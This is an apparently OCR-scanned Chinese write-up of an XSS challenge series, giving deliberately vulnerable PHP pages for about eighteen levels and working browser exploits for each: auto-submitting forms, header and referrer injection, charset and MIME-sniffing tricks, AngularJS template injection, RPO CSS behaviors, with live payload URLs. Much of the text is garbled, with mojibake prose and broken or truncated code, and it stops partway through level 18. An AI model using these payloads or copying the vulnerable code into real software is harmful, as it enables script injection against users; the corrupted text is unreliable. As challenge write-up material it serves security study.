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XSS#01. X bAE (VRINETIE:2017-08-15)--- - >EEIRG----> HREBIRE
XSS#02. getallheaders() (#HNATIA]:2017-08-15)---->TWHEM---->mAREFRF
XSS#03. json (#ANitIE:2017-08-15)---->BWEEL---->mRERR

XSS#04. referrer (¥RINATIA]:2017-08-15)---->BEEEG---->mRERTR
XSS#05. Bk (HINAFIE:2017-08-15)--- - >BEH L ----> HREBRT

XSS#06. EEI T (FINAFE:2017-08-15)--- - >BEF - ---> HREBERT
XSS#07. text/plain (¥RINAFIE:2017-08-15)---->EEEL----> ARERE
XSS#08. 5% (HINAFA:2017-08-15)--- - >BEF L ----> HREBRT

XSS#09. plaintext (¥RINATIE:2017-08-16)---->EEEM---->HARERE
XSS#10. MVM (¥RINALIE]:2017-08-16)---->BEE G- ---> ARERE

XSS#11. HOST (¥RHNEtiH:2017-08-17)->BEEFEIRIL----> AREBIRT

XSS#12. preview (¥RINAtIA]:2017-08-17)---->BEEWEH---->HRERR

XSS#13. REQUEST_URI (#fNAfIA]:2017-08-17)---->BERG---->HAREFRR
XSS#14. HIDDEN (¥#RINEY|H]:2017-08-18)---->EFEHE---->HARERF

XSS#15. Frame Buster (#SfNEY[A]:2017-08-18)---->HERG---->HAREFRR
XSS#16. PHP_SELF (#fnAtA]:2017-08-18)---->BEE G ---->mRERR
XSS#17. passive element (¥FINEYA:2017-08-23)---->EHFIFL---->HmRERS
XSS#18. Graduate (¥RINATIA]:2017-08-23)---->BEEEG---->HRERR
XSS#19. Party (¥HNEYE:2017-08-25)---->EFEHE---->HARERF

XSS#20. The End (&INESIA]:2017-08-25)---->BEFL----> ARBFRT
Fibm#el. JQuery (WERBTENE, SHHELEEEW. HNEE:2017-08-27)--- - >BEFFG---->mRERTR
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<?php
header ("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadok = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadok = 1;
} else {
echo "File is not an image.";
$uploadok = 0;

}
// Check if file already exists

if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadok = 0;

}

// Check file size

if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;

}

// Allow certain file formats

if($imageFileType != "jpg" && $imageFileType != "png" & $imageFileType != "jpeg"
8&& $imageFileType != "gif" ) {

echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;

}
// Check if $uploadOk is set to © by an error

if ($uploadok == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."”;

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php
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http://blog.bentkowski.info/2015/05/xss-via-file-upload-wwwgooglecom.html
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% 30 B A
FPOST /ftest/phpinfo.php HITE/1.1
Host: lemon.love
Content-Length: 340341 |
Cache-Control: max-age=0

Oorigin: http://lemon.love

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/E.0 [(Macintosh; Intel Mac 08 X 10_12 0)
AppleWebKit/537.36 [(KHTML, like Gecko] Chrome/f60.0.3112.101

s

Safari/siv.3n

Content-Type: multipart/form-data;
boundary=——--WebKitFormBoundaryVLtVP Qoo jnduvmEt
Aocept:

text/html,application/zhtml+xml,application/xmlq=0.9, image/webp, image/ap
ng,*/*3q=0.8

Referer: httpi//lemon.love/test/upload.php

Aocept-Encoding: gzip, deflate

Aocept-Language: zh-CHM,zhyg=0.8,en;g=0.6,zh-TW;g=0.4

Caonnection: claose

—————— WebEitFormBoundaryVLEVEQeojnduvmit

Content-Disposition: form-data; name="uploaded"; filename="1l.docx"
Content-Type:
application/vnd.openxmlformats-officedocument.wordprocessingml ..document

FE
oA r N

#% content-type

POt SCPE LA

POST fxssl_php HTTP/1.1 A HTTP/1.1 200 0K

Accept: text/html, application/zhtml+xml, */% a Date: Fri, IZE5 Aug Z017 08:15:30 GHMT
Feferer: http://nsl.rootk._ pw:8080/xss/wp/1l_html Server: Apache/2_4_18 (Ubuntu)
Accept-Language: zh-CH H-MEE-Protection: 0

User-Agent: Mozillass.0 (Windows NT &.1; Trident/7.0; rv:11.0) like Gecko Vary: Accept-Encoding

Content-Type: multipart/form-data; Content-Length: 75
houndary=-----———-——————————————————— TelZhellbT7llba Comnection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charsec=UTF-8
Content-Length: 218

DNT: 1 The file <img sro=1l onerror=alertidocument  domain) > . jpg
Host: ecl-13-E58-146-C . us-east-J. compute. aMAZONAWS . COm has been uploaded.

Pragma: no-cache
Connection: close

————————————————————————————— Tel3belbTllha

Content-Dispozition: form-data; name="x"; name=fileToTpload;
filename="<img src=1 onerror=alert (document. domain)=_Jjpg"

————————————————————————————— Tel3belZh7llba--

A A content-type, fHAZES FILES["fileToUpload"] ["name"]iER2T] LAEZBEN
FIt CA AT BARA 3% — T Exp:

http://ns1.rootk.pw:8080/xss/wp/1.html




<html>

<body>

<form id="xss" action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl.php" method="POST"
<textarea type="text" id="vulnerable" value="" /></textarea>
</form>
<script>

var tarfile = "test";

var vuln = document.getElementById('vulnerable');

vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";

vuln.value = (tarfile);
document.getElementById("xss").submit();
</script>

</body>

</html>

A H O EMAM textareatn®, MRAINput, XAMFERGEHIIES, Z/EHRASX WG] 5 BEAT urlgm iy
ref: http://kuza55.blogspot.hk/2008/02/csrf-ing-file-upload-fields.html

2. getallheaders()

<?php

header('Pragma: cache');
header("Cache-Control: max-age=".(60*60%*24*100));
header ("X-XSS-Protection: 0");

?>

<html>

<head>

<meta charset=utf-8>

<head>

<body>

<?php
if(isset($_SERVER['HTTP_REFERER']))
{

echo "Bad Referrer!";

}

else

{

foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";

}

}

?>
</body>
</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.convxss2.php
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header('Pragma: cache');
header("Cache-Control: max-age=".(60*60%*24*100));

ot R 3 BB X N AT A, AR — IR AEB B Khttp L R 5 BT EER, B IREFER
i, httolIfE BIERALZN), FANEEZN T AMEFNE.

ARl AME I FetchZeiER, 7ERIHiframefEE 8T8 R, AMNERMBMATE BT metati &R EE —T
referrer, 5L 2 — Kiframein % /K Bt & & A i refererf) 3208 B ] LZEFF FE BRI, AIIFBFFA L FFmeta
X 2L 1k referer

K

Chrome Exp:
http://ns1.rootk.pw:8080/xss/wp/2.php

<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain’,
"Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>",
}

})s
fetch(request).then(function() {

console.log(1);
1
</script>
</head>
<body>
<iframe src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php"></iframe>
</body>
</html>

ref: https://www.w3.org/TR/cors/#simple-header

3. json
<?php
header("Content-Type:application/json;charset=utf-8");
header ("X-XSS-Protection: 0");

echo '"{"errno":0,"error":"","data":{"user":{"id":"2","user_name": "\udel3\udela\u6295\u8d44\udebath", "emai
?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3333.php?value=test
XA H ) BE TR E Lk Rapplication/json, XM iZH{Axss

XEBEFHTIE—1bug, &%FXE: http://www.qgingpingshan.convjb/javascript/184536.html



IE11 Exp:
http://ns1.rootk.pw:8080/xss/wp/3.html

3.html

<meta charset=utf-8>

<iframe id=x src=3.php></iframe>
<script>

x.location.reload();

</script>

3.php

<?php
header("location: http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3333.php?value=%3Cimg%20src=x%2
?>

BEHFR: mEmMk, X-Content-Type-Options: nosniff

4. Referer

<?php

header ("X-XSS-Protection: 0");
?>

<html>

<head>

<meta charset="utf-8">

</head>

<body>

<?php echo "Rk H:".$_SERVER['HTTP_REFERER'];?>
</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php
# H pi R referer, chrome. firefox&Stqueryi#4Turlgmfs, (ERIEHAE

S HE:
http://www.mottoin.com/88317 .html
B —/AMIJFi{EF: http://www.hackdig.com/?04/hack-9586.htm

IE11 exp: http://nsl.rootk.pw:8080/xss/wp/4.html?a<img src=1

onerror=alert (document.domain) >



<html>
<body>
<form id="xss"
name="xss"
method="GET"
action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>

M8 3%

Referrerh &g URLGRASHKI LR, FE R EWindows7FWindows8.1
WIin10BIIE11ARTE A, AT AEF 58Anniversary Updateth T 2 )5, TEXfreferrerf4b E T —8%zh. TR T
£=Xtreferrerid 4T URLSw S

P LA LBl F i i R il id flash R i2 8 K, ASHRSINT

package {

import flash.display.Sprite;

import flash.net.URLRequest;

import flash.net.navigateToURL;

public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}

}

}

Ref:http://masatokinugawa.l0.cm/2016/10/referrer-xss-win10.html

FOMERF BB L REE, 2R T

# &fki%referer
https->https
http->https
http->http

# Afki%refer
https->http

5. Bh ¥



<?php

header ("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$ GET["url"]);
$url=str_replace(urldecode("%0d"),"",%$url);
$url=str_replace(urldecode("%0a"),"",%$url);
header("Location: ".$url);

?>

<html>

<head>

<meta charset="utf-8">

</head>

<body>

<?php echo "<a href="".$url."' >WRBHERIBIE mF</a>";?>
</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.convxss5.php?url=http://baidu.com
XA ) {8 B R AR TP E SRR AR A AT Bk

#3 pJfifEblog & £ % bottle httpi: A\ HI— BX: https://www.leavesongs.com/PENETRATION/bottle-crif-cve-2016-
9964 .html

XERFEAHK R O/NTF80, FRFRASEHITBEH

FF exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=http://baidu.com:0/"'%3E<img src=1 onerr

ref. http://d.hatena.ne.jp/hasegawayosuke/20161210/p1
6. 3R T &,



<?php
header ("X-XSS-Protection: 0");

header('Content-Disposition: attachment; filename=""'.$ GET["filename"].'"");
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)
{
$opts = array('http' =>
array(

'method' => 'GET',
'max_redirects' => '@’',
'ignore_errors' => '1'
)
)s
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);

}

else

{
echo "Bad URL!";

}

?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?filename=download&url=http://ec2-13-
58-146-2.us-east-2.compute.amazonaws.com/xss2.php

RAMRBEGE M TR, EFESEPpIiEHCEEmMBRRT R

APHPflheader®$— HiBEI\O. \r. \nX=AZF, MESE— AR, i Locationk@ALIRE, MW/ BHASBE T

[ 2R W] LA RIZE SO T 3

FF exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?url=http://nsl.rootk.pw:8080/xss/wp/6.php&f

ref: https://twitter.com/mramydnei/status/782324732897075200

7. text/plain



<?php
header ("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)
{
$opts = array('http' =>

array(

'method' => 'GET',
'max_redirects' => '@’',
'ignore_errors' => '1'
)
)s
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);

}

else

{
echo "Bad URL!";

}

?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php?url=http://ec2-13-58-146-2.us-east-
2.compute.amazonaws.com/xss2.php

MIMERIEH , iR Bk Type Ntext/plainbi i% T £25d

I =AM AAKIE 0day
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/

A Remail >, BN A B Irhtml, X B A BUF HiframesR Nk B irsthhik, X4 A B B A8 ik

IE exp:
http://ns1.rootk.pw:8080/xss/wp/9.eml

9.eml

TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27http=3A=2f=2fec2-13-58-146-2.us-east-2.compute.amazonaws.com=2fxss7.php=3Furl=3Dhttp=3

Bif: XBEZSMTERRE, XEFHKX-Content-Type-Options: nosniffsR] ARFMIK, #HKkx-
Frame-Options: DENYFHABEMRAZMBHRIZA M, XMREZHE T —MEE R, HERRASHEE,
HRE T —1Ku.

ref: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
8. %



<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=utf-8");

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)
{
$rule="/<[a-zA-Z]/";
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '@’',
'ignore_errors' => '1'

)s

$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
$content=stream_get_contents($stream);
if(preg_match($rule,$content))

{
echo "XSS Detected!";

}

else

{

echo $content;

}
}

else
echo "Bad URL!";

?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss8.php?url=http://ec2-13-58-146-2.us-east-
2.compute.amazonaws.com/test.txt

HEEE RN R <JFEET UFEETFRERN, ERE-LEATRHIARERIMTN.

https://dev.w3.org/htmi5/spec-LC/parsing.html

A sequence of bytes starting with: @x3C @x21 (ASCII '<!')
A sequence of bytes starting with: @x3C @x2F (ASCII '</')
A sequence of bytes starting with: @x3C Ox3F (ASCII '<?')

AT BLE BB RE LUK A P2k, ZEIEQ. 10 A —Avectora] LA H #47s

8.txt

<% contenteditable onresize=alert(document.domain)>

PAE A R IE1 XA R Tk & K, ERAPUEEx-ua-compatible BB XAYFRAEM, iLEHEBIHRE
[E9. 10N E



B Fiframepy WIHIA & OB EA R, iframepy T b & 26 AR E O KR AR, FrUlER —HEH
5. BEwDESH T EEEEE.

IE11 exp:
http://ns1.rootk.pw:8080/xss/wp/8.html

8.html

<meta http-equiv=x-ua-compatible content=IE=9>
<iframe id=x src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss8.php?url=http://nsl.rootk.pw

9. plaintext

<?php

header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>

<plaintext><?php echo $_GET["text"];?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss9.php?text=test
RIGHE B, ERAENBERK—ERE, MRMNFAIBRplaintext XMFE

BATA AL 0 S AR BB ik, BB B GRS A R S BOELAS R R, XA 1R 3 BEAE T IR 55 i AN 2 S 2 T £
FREFEERTEM.

KFXMELE|—FLE: hitps://www.ibm.com/developerworks/cn/web/wa-lo-ecoding-response-
problem/index.html

FHEKETRIRKZED SBHEE, MxssEH K, BATHRRBEDE 5%
B A RESR T httpfm B2k %5 . T M metaZs #oT DLk B LK T, P4 BAERH 4 B 5 B &%t B
<& ER?

Jesk T R — T AR ) — LT AR
https://dev.w3.org/htmi5/spec-LC/parsing.html

1. If the user has explicitly instructed the user agent to override the document's character encoding with a specific encoding, optionally return that encoding with the
confidence certain and abort these steps.

N

. If the transport layer specifies an encoding, and it is supported, return that encoding with the confidence certain, and abort these steps.

w

The user agent may wait for more bytes of the resource to be available, either in this step or at any later step in this algorithm. For instance, a user agent might wait
500ms or 1024 bytes, whichever came first. In general preparsing the source to find the encoding improves performance, as it reduces the need to throw away the data
structures used when parsing upon finding the encoding information. However, if the user agent delays too long to obtain data to determine the encoding, then the cost
of the delay could outweigh any performance improvements from the preparse.

Note: The authoring conformance requirements for character encoding declarations limit them to only appearing in the first 1024 bytes. User agents are
therefore encouraged to use the preparse algorithm below (part of these steps) on the first 1024 bytes, but not to stall beyond that.

4. For each of the rows in the following table, starting with the first one and going down, if there are as many or more bytes available than the number of bytes in the first
column, and the first bytes of the file match the bytes given in the first column, then return the encoding given in the cell in the second column of that row, with the
confidence certain, and abort these steps:

Bytes in Hexadecimal | Encoding

FE FF Big-endian UTF-16
FF FE Little-endian UTF-16
EF BB BF UTF-8

Note: This step looks for Unicode Byte Order Marks (BOMs).



BN RuaBEHCLWINEH T 4 2ik#E

B oA Ehttpm Bk KgmtiS i E, iR cContent-Type, JEWE T charsetH HZFiXAcharset, WAL

RANZEHF B FRAERFER, BENRERNMAENSRISGE3212, FIUFE

5B =B R I R metatn B B % 3 R EhtmIRT 10240 T I, 3 B8 SARIEX AN R T, XARRE

BREBMBN, BERAZplaintextFM
B CASE — 20t 2 R F metask o5t 2% W i F R/ 4E.
B0, BREMPIRRZNHEREZHRNER, FRARPNERE,

BATFE LB <R \x3C, HEZXNMRUTF-8K, EHMEBEKFRHEFRETRARZIANERT, KB

1% FH E‘J%cplOZS%ﬁﬁg

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=<meta http-equiv="content-Type" conten

¥ oo
QI“L:_%’I @http:_-',-'ec2-13-58-146-2.u:-East-E.n:u:umpute.amazu:una... o-Mmc @Er_2-13-58-146-2.u5-east-2.... x|

X Find:| | Previous Mext |[z] Opticns - |

B2%/Tb=VSeY SV/IVVBSRLUboE =V S=VE BSE?=VS=VVsaVIV %EIKSVED

Memory

- DOM Explorer Console Debugger Network UI Responsiveness Profiler
%[O

4 <html>
<head></head>
4 <body>
%/ b VSEY_S¥ IV VRSRURRE 2 » VsV E RSE TS T VsaV IV _%E1/KSTER
</body >
</html>

A PLEF|plaintextBEART

B=0, HIARRTFRENRGER, R UHELS B Cfpayload
X EHEE— TR



fuzz.php

<meta http-equiv="content-Type" content="text/html; charset=gb3212">
<?php
if(!ini_get('safe_mode')){
set_time_limit(®);
}
header ("X-XSS-Protection: 0");
header ("Content-Type: text/html;charset=gb3212");
?>
<html>
<head></head>
<body></body>
<script>
function hex_pad(int_){
hex_ = int_.toString(16);
if(hex_.length==1){
hex_ = '@'+hex_;
}
return hex_;
}
for(var i1=0;i<255;i++){
var id = 'id_'+hex_pad(i);
var divO = document.createElement('div');
div0.id = id;
divO.innerHTML = hex_pad(i);
document.body.appendChild(divO0);

var iframea = document.createElement('iframe');
iframea.src= "'http://a.com/test/xss/xsschange/9/game.php?text="+"%"+hex_pad(i);
document.getElementById(id).appendChild(iframea);

}

</script>

</html>

HAirH — 4 game.phpfE R0, FlHiframeE B R ZR/RE

<?php

header ("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=cp1025");
?>

<?php echo @$_GET["text"];?>



@ http://a.com/test/xss/fuzz2 PHP

b4 Fin::l:| | Presious  Mext

93

94

93

XEMRET, WMBEBIERn, B Aurgmidsos
¢ b —Fcpl025K4miY



%4c
%6e
%61
%4d
%5d
%7e
;5 %5e
' %7d

Il ~ ~ N~ VvV A

IE payload:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=<meta http-equiv="content-Type" conten

PS: X Fmetal)— L HiBETUEFIX.

https://www.w3.0rg/TR/html401/struct/global.html#h-7.4.4
ref: https://github.com/cure53/XSSChallengeWiki/wiki/Puzzle-3-on-kcal.pw

10. MVM

<html ng-app>

<head>

<meta charset=utf-8>

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>

</head>

<body>

<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen(
</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php?username=hiphopman
SHEEARRIBHE, R Client Side Template Injection,  H5MIT{# #4382 — AN

FF && Chrome Exp

{{[].pop.constructor(‘alert()')()}}

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php?username=%7B%7B%5B%5D.pop.constructor(%27a

ref: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

11. HOST



"use strict";
var http = require('http');

(function(){
http.createServer(function (req, res) {

res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "@" }
res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body>

}).1listen(80);

console.log( "Running server on port 80" );

NO;

http://ec2-52-15-146-21.us-east-2.compute.amazonaws.conm/
HOSTkEAN, XENFEMIIET —MEERES.

https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-
data/

HR AR

Internet Explorer/Edge malformed Host-header

The Internet Explorer/Edge bug worked like this. Doing the following redirect (from a malicious

link):

Would result in Internet Explorer/Edge sending this request to www.drupal .org:

GET /.to.toto/ HTTP/1.1

ost: www.drupal.org/.to.to

Fit ART PARE) 3
11.php
<?php

header('HTTP/1.1 307 Redirect');
header('Location: '.$ GET['u']);

IE11 exp

http://nsl.rootk.pw:8080/xss/wp/11.php?u=http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com%252f<%252f

XERHHIETTRKRRN, ie11.483.15063.0kM, AHiEIhHIIEMRA A ie11.0.9600.17843

ref: http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html



12. preview

<?php
# the request
$ch = curl_init($_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
# get the content type
$mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-
if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
//header("X-Content-Type-Options: nosniff");
echo curl_exec($ch);

}
# output

// text/html; charset=IS0-8859-1
?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss12.php?
url=https://www.baidu.com/img/bd_logo1.png

%R T E— T IERFEMIMER ;.
https://blog.fox-it.com/2012/05/08/mime-sniffing-feature-or-vulnerability/

RN B AR 55 2848 B AR — /N IEFi I Content-Typesk, FrUAEN T A X AFRA, B4¥% KT 2561
FHREEH LT HE, REEE—AER. WA <ntnl >/ERNTFLEIE, SHIANRtext /html

FrCART A& — T

IE exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl12.php?url=http://nsl.rootk.pw:8080/xss/wp/12.php

12.php

<?php

header("Content-Type: application/octet-stream");

?>
<html><script>alert(document.domain)</script></html>

ref: https://xianzhi.aliyun.com/forum/read/224.html
13. REQUEST_URI

<?php

header ("X-XSS-Protection: 0");

echo "REQUEST_URI:".$_ SERVER['REQUEST URI'];
?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss13.php



REQUEST_URFIE K Kixss, EIET, MM—XBbEASHIT R

IE exp:
http://ns1.rootk.pw:8080/xss/wp/13.php

13.php

<?php
header("Location: http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php/<svg/onload=alert(docume

ref. https://speakerdeck.com/masatokinugawa/xss-attacks-through-path

14. HIDDEN

<?php

header('X-XSS-Protection:0');

header('Content-Type:text/html;charset=utf-8');

?>

<head>

<meta http-equiv="x-ua-compatible" content="IE=10">

</head>

<body>

<form action=""'>

<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); 2?>'>

<input type='submit'>

</body>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss14.php?token=233

MAZHE—ANE, BREAxssH LA WA HE, FoAnEEmAhiddenBIEKFE, SBEORESFHE
BHEEMK

Pl —f AW R, B SR FEhidden & Y 2 B E 2 2 J5 (A BE & #input KB 5L T)

1. Z AN A LA Etype N EANK), <input value="a" src=1 onerror=alert(l) type="image"
type="hidden">

2. ZJaME, Reb@EgEm kiR, I KFKBHEM ' accesskey='x' onclick='alert (/1/), RE#¥
shift+alt+xfili K xss, {HREA PLUXFEERIE, TR BHfKExss, LRSS TR

T, 'style='behavior:url(?) 'onreadystatechange='alert (1)

Z% L E: http://masatokinugawa.l0.crm/2016/04/hidden-input-xss.html

IE exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl4.php?token=%27style=%27behavior:url(?)%27onread

15. Frame Buster



<?php

header ("X-XSS-Protection: 0");
$page=strtolower($_GET["page"]);
$regex="/on([a-zA-Z])+/i";
$page=str_replace("style"," ",$page);
?>

<html>

<head>

<meta charset=utf-8>

</head>

<body>

<form action="'xss15.php?page=<?php
if(preg_match($regex, $page))

{

echo "XSS Detected!";

}

else

{

echo htmlspecialchars($page);

}

?>'></form>

<script>

if(top!=self){
location=self.location

}

</script>

</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss15.php?page=1
BEBRBK—NEH, —MPi#iframetlERR MBI TN, WRAERNBKE, ik —ERF... SRR

s2#DOM Clobbering

f+4 X Z&DOM Clobbering, 7EIE8F, abc.defH&2&123

<form id=abc def=123></form>
<script>

alert(abc.def)

</script>

HABEEHF K self.locationtEt Al PLE T X F R EEHSE.

IE exp:
http://ns1.rootk.pw:8080/xss/wp/15.html

<meta http-equiv=x-ua-compatible content=IE=8>
<iframe src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl5.php?page=1'name=self location='ja

HRER FEERRTHRE M, RTHEME, TUESE/\EFwriteup

¥ £ 3 FDOM Clobbering 1 3 &:

ref: http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
https://www_slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream



16. PHP_SELF

<html>

<head>

<meta charset=utf-8>

<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>

<body>

<img src="xss.png" style="display: none;">

<h1>

<?php

$output=str_replace("<","&1t;",$ SERVER['PHP_SELF']);
$output=str_replace(">","&gt;",$output);

echo $output;

?>

</h1>

</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss16.php
— AN R IRPOURTH, {H2 B XX 77 A4 b

http://www.mbsd.jp/Whitepaper/rpo.pdf
XA SR T RPOBE ) L e 7 2

BEEER BT Aphp_selffIF7E, THIXcssatRIESEZF LRI ER

<link href="styles.css" rel="stylesheet" type="text/css" />

BHifmlec2-13-58-146-2.us-east-2. compute.amazonaws.com/xssl6 .phpﬂ‘]ﬂﬂ‘fﬁ, webAH Xt %1%
A/, XEBHMEMEAIcssHifAec2-13-58-146-2.us-east-2.compute.amazonaws.com/styles.css

HREHRK i Mec2-13-58-146-2.us-east-

2 .compute.amazonaws.com/xssl6.php/%$7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/,
WELR {} * {background-color: red}*{}, webMHXEZH
J/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%$7B%7D/, XH{EMEHKIcSsSHE
sehttp://ec2-13-58-146-2.us-east-

2 .compute.amazonaws.com/xssl6.php/%$7B%$7D*%7Bbackground-

color:%20red%7D*%7B%7D/styles.css

C' | © view-source:ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/
# @A Etools [ Hacksearch Fstudy ESother Etemp ESProgram ESCTF FSwooyun {fice ',imEm F e277T..0) Wmp I e—mte3=

<html>

<head>

<meta charset=utf-8>

<meta http-equiv="X-UA-Compatible" content="IE=10">

<link href="styles.css" rel="stylesheet" type="text/css" />
</head>

<body>

<img src="xss.png" style="display: none;">
b1

/xss16.php/{}*{background-color: red}*{}/</hl> ]
+oody

</html>

-

WON-FfFfOPONDODOAWN =

= =

cssHIMEHT I A BhtmlAR 4 /=4, B AR AT LA 2 M TUR SR EF A A,



HEIER R T, AR IMNERRF HessE n#js
http://blog.innerht.ml/cascading-style-scripting/

A AR sctseft, 1B 52 BREE B2 sctih ZUE 72 [F 35, T .
A LLR LS B iR F — A xss.png.... A EW T

<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>

IE exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl16.php/{}*{behavior:url(http://ec2-13-58-146-2.us

4R cssfii R xssHl, B LA FHexpression

ref: http://www.thespanner.co.uk/2014/03/21/rpo/

17. passive element
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header ("X-FRAME-OPTIONS: DENY");
header ("X-XSS-Protection: 0");
$content=$_GET["content"];

echo "<div data-content='".htmlspecialchars($content)."'>";
?>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=data
i RAEIVERE, XA Eh TR A £ Al Kk xss?

htmiSsecki 4: https://htmi5sec.org/#145
FrUAW LA sl — i, REM P R — T ZREAE Xk xss

IE exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl7.php?content=a%27%20style=%27-webkit-user-modif

{ERMIT 54 7 —> Le B0 A o B G 7 A - 32 B iIpoc

BRFFLASM 0 B2 2% exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl7.php?content=%27onfocus=%27alert(1)%27%20conten

ref. https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw

18. Graduate



<?php

header("Content-Type:text/html;charset=utf-8");

header("X-Content-Type-Options: nosniff");
header ("X-FRAME-OPTIONS: DENY");
header ("X-XSS-Protection: 1");
?>

<html>

<head>

<meta charset=utf-8>

</head>

<body>

